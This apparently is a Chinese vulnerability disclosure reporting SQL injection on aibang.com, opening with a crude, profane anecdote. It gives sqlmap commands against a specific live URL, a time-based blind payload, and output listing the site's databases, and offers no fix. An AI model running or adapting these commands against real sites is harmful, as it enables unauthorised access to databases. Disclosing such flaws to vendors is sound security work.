爱帮网主站SQL注入漏洞
上次一美女约我去一风景区爬山,尼玛山还没爬呢,在山脚还没迈一步就说太高了嫌累,要在山底找个酒店歇息。歇NMLGB,娇生惯养。我说你爬不爬,你不爬我爬,于是我丢掉她一个人迅速地登上了山顶,这才解气。注入点。
sqlmap.py -u "http://www.aibang.com/?area=bizpay&cmd=card&id="
[19:36:09] [INFO] resuming back-end DBMS 'mysql'
[19:36:09] [INFO] testing connection to the target URL
sqlmap identified the following injection points with a total of 0 HTTP(s) reque
sts:
---
Place: GET
Parameter: id
Type: AND/OR time-based blind
Title: MySQL > 5.0.11 AND time-based blind
Payload: area=bizpay&cmd=card&id=' AND SLEEP(5) AND 'FYuk'='FYuk
---
[19:36:09] [INFO] the back-end DBMS is MySQL
web application technology: PHP 5.2.3, Apache 2.2.4
back-end DBMS: MySQL 5.0.11
D:\sqlmaps>sqlmap.py -u "http://www.aibang.com/
?area=bizpay&cmd=card&id=" --dbs
sqlmap/1.0-dev - automatic SQL injection and database takeover tool
http://sqlmap.org
[!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual
consent is illegal. It is the end user's responsibility to obey all applicable
local, state and federal laws. Developers assume no liability and are not respon
sible for any misuse or damage caused by this program
[*] starting at 19:38:21
[19:38:21] [WARNING] using 'C:\Documents and Settings\90sec\.sqlmap\output' as t
he output directory
[19:38:21] [INFO] resuming back-end DBMS 'mysql'
[19:38:21] [INFO] testing connection to the target URL
sqlmap identified the following injection points with a total of 0 HTTP(s) reque
sts:
---
Place: GET
Parameter: id
Type: AND/OR time-based blind
Title: MySQL > 5.0.11 AND time-based blind
Payload: area=bizpay&cmd=card&id=' AND SLEEP(5) AND 'FYuk'='FYuk
---
[19:38:22] [INFO] the back-end DBMS is MySQL
web application technology: PHP 5.2.3, Apache 2.2.4
back-end DBMS: MySQL 5.0.11
[19:38:22] [INFO] fetching database names
[19:38:22] [INFO] fetching number of databases
[19:38:22] [WARNING] time-based comparison requires larger statistical model, pl
ease wait..............................
[19:38:26] [WARNING] it is very important not to stress the network adapter duri
ng usage of time-based payloads to prevent potential errors
do you want sqlmap to try to optimize value(s) for DBMS delay responses (option
'--time-sec')? [Y/n] y
[19:38:43] [INFO] adjusting time delay to 2 seconds due to good response times
3
[19:38:43] [INFO] retrieved: information_schema
[19:41:26] [INFO] retrieved: abpaid
[19:42:15] [INFO] retrieved: test
available databases [3]:
[*] abpaid
[*] information_schema
[*] test
修复方案:
不知道爱帮是否需要我帮你提供修复方案,主要是我不想丢人现眼,不然我肯定帮你直接修复了,我怕别人笑我装13显摆,所以还是你们自己安全部门的员工去修复吧
版权与免责声明:
凡注明稿件来源的内容均为转载稿或由网友用户注册发布,本网转载出于传递更多信息的目的;如转载稿涉及版权问题,请作者联系我们,同时对于用户评论等信息,本网并不意味着赞同其观点或证实其内容的真实性;